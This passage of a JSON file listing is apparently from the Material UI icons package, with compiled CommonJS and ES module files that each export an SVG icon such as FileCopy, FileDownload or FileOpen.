    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm-1 4 6 6v10c0 1.1-.9 2-2 2H7.99C6.89 23 6 22.1 6 21l.01-14c0-1.1.89-2 1.99-2zm-1 7h5.5L14 6.5z\"\n}), 'FileCopy');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm-1 4H8c-1.1 0-1.99.9-1.99 2L6 21c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V11zM8 21V7h6v5h5v9z\"\n}), 'FileCopyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm-1 4H8c-1.1 0-1.99.9-1.99 2L6 21c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V11zM8 21V7h6v5h5v9z\"\n}), 'FileCopyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 1H4c-1.1 0-2 .9-2 2v13c0 .55.45 1 1 1s1-.45 1-1V4c0-.55.45-1 1-1h10c.55 0 1-.45 1-1s-.45-1-1-1m.59 4.59 4.83 4.83c.37.37.58.88.58 1.41V21c0 1.1-.9 2-2 2H7.99C6.89 23 6 22.1 6 21l.01-14c0-1.1.89-2 1.99-2h6.17c.53 0 1.04.21 1.42.59M15 12h4.5L14 6.5V11c0 .55.45 1 1 1\"\n}), 'FileCopyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 1H4c-1.1 0-2 .9-2 2v13c0 .55.45 1 1 1s1-.45 1-1V4c0-.55.45-1 1-1h10c.55 0 1-.45 1-1s-.45-1-1-1m.59 4.59 4.83 4.83c.37.37.58.88.58 1.41V21c0 1.1-.9 2-2 2H7.99C6.89 23 6 22.1 6 21l.01-14c0-1.1.89-2 1.99-2h6.17c.53 0 1.04.21 1.42.59M15 12h4.5L14 6.5V11c0 .55.45 1 1 1\"\n}), 'FileCopyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H2v16h2V3h12zm-1 4 6 6v12H6V5zm-1 7h5.5L14 6.5z\"\n}), 'FileCopySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H2v16h2V3h12zm-1 4 6 6v12H6V5zm-1 7h5.5L14 6.5z\"\n}), 'FileCopySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7H8v14h11v-9h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm-1 4H8c-1.1 0-1.99.9-1.99 2L6 21c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V11zm4 16H8V7h6v5h5z\"\n}, \"1\")], 'FileCopyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileCopyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7H8v14h11v-9h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12zm-1 4H8c-1.1 0-1.99.9-1.99 2L6 21c0 1.1.89 2 1.99 2H19c1.1 0 2-.9 2-2V11zm4 16H8V7h6v5h5z\"\n}, \"1\")], 'FileCopyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'FileDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'FileDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18h14v2H5zm4.6-2.7L5 10.7l2-1.9 2.6 2.6L17 4l2 2z\"\n}), 'FileDownloadDone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18h14v2H5zm4.6-2.7L5 10.7l2-1.9 2.6 2.6L17 4l2 2z\"\n}), 'FileDownloadDone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.13 5.41 18.72 4l-9.19 9.19-4.25-4.24-1.41 1.41 5.66 5.66zM5 18h14v2H5z\"\n}), 'FileDownloadDoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.13 5.41 18.72 4l-9.19 9.19-4.25-4.24-1.41 1.41 5.66 5.66zM5 18h14v2H5z\"\n}), 'FileDownloadDoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.42 4.71a.996.996 0 0 0-1.41 0L9.53 13.2 5.99 9.66a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.24 4.24c.39.39 1.02.39 1.41 0l9.19-9.19c.4-.39.4-1.02 0-1.41M6 20h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FileDownloadDoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.42 4.71a.996.996 0 0 0-1.41 0L9.53 13.2 5.99 9.66a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.24 4.24c.39.39 1.02.39 1.41 0l9.19-9.19c.4-.39.4-1.02 0-1.41M6 20h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FileDownloadDoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.13 5.41 18.72 4l-9.19 9.19-4.25-4.24-1.41 1.41 5.66 5.66zM5 18h14v2H5z\"\n}), 'FileDownloadDoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.13 5.41 18.72 4l-9.19 9.19-4.25-4.24-1.41 1.41 5.66 5.66zM5 18h14v2H5z\"\n}), 'FileDownloadDoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.13 5.41 18.72 4l-9.19 9.19-4.25-4.24-1.41 1.41 5.66 5.66zM5 18h14v2H5z\"\n}), 'FileDownloadDoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadDoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.13 5.41 18.72 4l-9.19 9.19-4.25-4.24-1.41 1.41 5.66 5.66zM5 18h14v2H5z\"\n}), 'FileDownloadDoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V3h6v6h4l-3.59 3.59zm12.19 15.02L2.81 2.81 1.39 4.22 6.17 9H5l7 7 .59-.59L15.17 18H5v2h12.17l2.61 2.61z\"\n}), 'FileDownloadOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V3h6v6h4l-3.59 3.59zm12.19 15.02L2.81 2.81 1.39 4.22 6.17 9H5l7 7 .59-.59L15.17 18H5v2h12.17l2.61 2.61z\"\n}), 'FileDownloadOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 15.17V15h2v2.17zm-2.59-2.58L17 11l-1.41-1.41L14 11.17zM13 10.17V4h-2v4.17zm8.19 11.02-1.78-1.78-16.6-16.6-1.42 1.41 6.19 6.19L7 11l5 5 .59-.59L15.17 18H6v-3H4v3c0 1.1.9 2 2 2h11.17l2.61 2.61z\"\n}), 'FileDownloadOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 15.17V15h2v2.17zm-2.59-2.58L17 11l-1.41-1.41L14 11.17zM13 10.17V4h-2v4.17zm8.19 11.02-1.78-1.78-16.6-16.6-1.42 1.41 6.19 6.19L7 11l5 5 .59-.59L15.17 18H6v-3H4v3c0 1.1.9 2 2 2h11.17l2.61 2.61z\"\n}), 'FileDownloadOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v5h1.59c.89 0 1.33 1.08.7 1.71l-1.88 1.88zm11.49 14.32L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.5 4.5c-.26.37-.28.91.1 1.28l4.59 4.59c.35.35.88.37 1.27.09L15.17 18H6c-.55 0-1 .45-1 1s.45 1 1 1h11.17l1.9 1.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'FileDownloadOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v5h1.59c.89 0 1.33 1.08.7 1.71l-1.88 1.88zm11.49 14.32L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l4.5 4.5c-.26.37-.28.91.1 1.28l4.59 4.59c.35.35.88.37 1.27.09L15.17 18H6c-.55 0-1 .45-1 1s.45 1 1 1h11.17l1.9 1.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'FileDownloadOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6.17V3h6v6h4l-3.59 3.59zm12.19 15.02L2.81 2.81 1.39 4.22 6.17 9H5l7 7 .59-.59L15.17 18H5v2h12.17l2.61 2.61z\"\n}), 'FileDownloadOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6.17V3h6v6h4l-3.59 3.59zm12.19 15.02L2.81 2.81 1.39 4.22 6.17 9H5l7 7 .59-.59L15.17 18H5v2h12.17l2.61 2.61z\"\n}), 'FileDownloadOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5h-2v3.17l2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 8.17-2-2V3h6v6h4l-3.59 3.59L13 10.17V5h-2zm10.19 13.02L2.81 2.81 1.39 4.22 6.17 9H5l7 7 .59-.59L15.17 18H5v2h12.17l2.61 2.61z\"\n}, \"1\")], 'FileDownloadOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5h-2v3.17l2 2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 8.17-2-2V3h6v6h4l-3.59 3.59L13 10.17V5h-2zm10.19 13.02L2.81 2.81 1.39 4.22 6.17 9H5l7 7 .59-.59L15.17 18H5v2h12.17l2.61 2.61z\"\n}, \"1\")], 'FileDownloadOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3zm-1-4-1.41-1.41L13 12.17V4h-2v8.17L8.41 9.59 7 11l5 5z\"\n}), 'FileDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3zm-1-4-1.41-1.41L13 12.17V4h-2v8.17L8.41 9.59 7 11l5 5z\"\n}), 'FileDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.59 9H15V4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v5H7.41c-.89 0-1.34 1.08-.71 1.71l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.63-.63.19-1.71-.7-1.71M5 19c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'FileDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.59 9H15V4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v5H7.41c-.89 0-1.34 1.08-.71 1.71l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.63-.63.19-1.71-.7-1.71M5 19c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'FileDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'FileDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'FileDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 11H13V5h-2v6H9.83L12 13.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18h14v2H5zm14-9h-4V3H9v6H5l7 7zm-8 2V5h2v6h1.17L12 13.17 9.83 11z\"\n}, \"1\")], 'FileDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileDownloadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 11H13V5h-2v6H9.83L12 13.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18h14v2H5zm14-9h-4V3H9v6H5l7 7zm-8 2V5h2v6h1.17L12 13.17 9.83 11z\"\n}, \"1\")], 'FileDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H15v-8h5V8zm-1 7V3.5L18.5 9zm4 12.66V16h5.66v2h-2.24l2.95 2.95-1.41 1.41L19 19.41v2.24h-2z\"\n}), 'FileOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H15v-8h5V8zm-1 7V3.5L18.5 9zm4 12.66V16h5.66v2h-2.24l2.95 2.95-1.41 1.41L19 19.41v2.24h-2z\"\n}), 'FileOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 22H6c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h8l6 6v6h-2V9h-5V4H6v16h9zm4-.34v-2.24l2.95 2.95 1.41-1.41L20.41 18h2.24v-2H17v5.66z\"\n}), 'FileOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FileOpenOutlined.mjs",
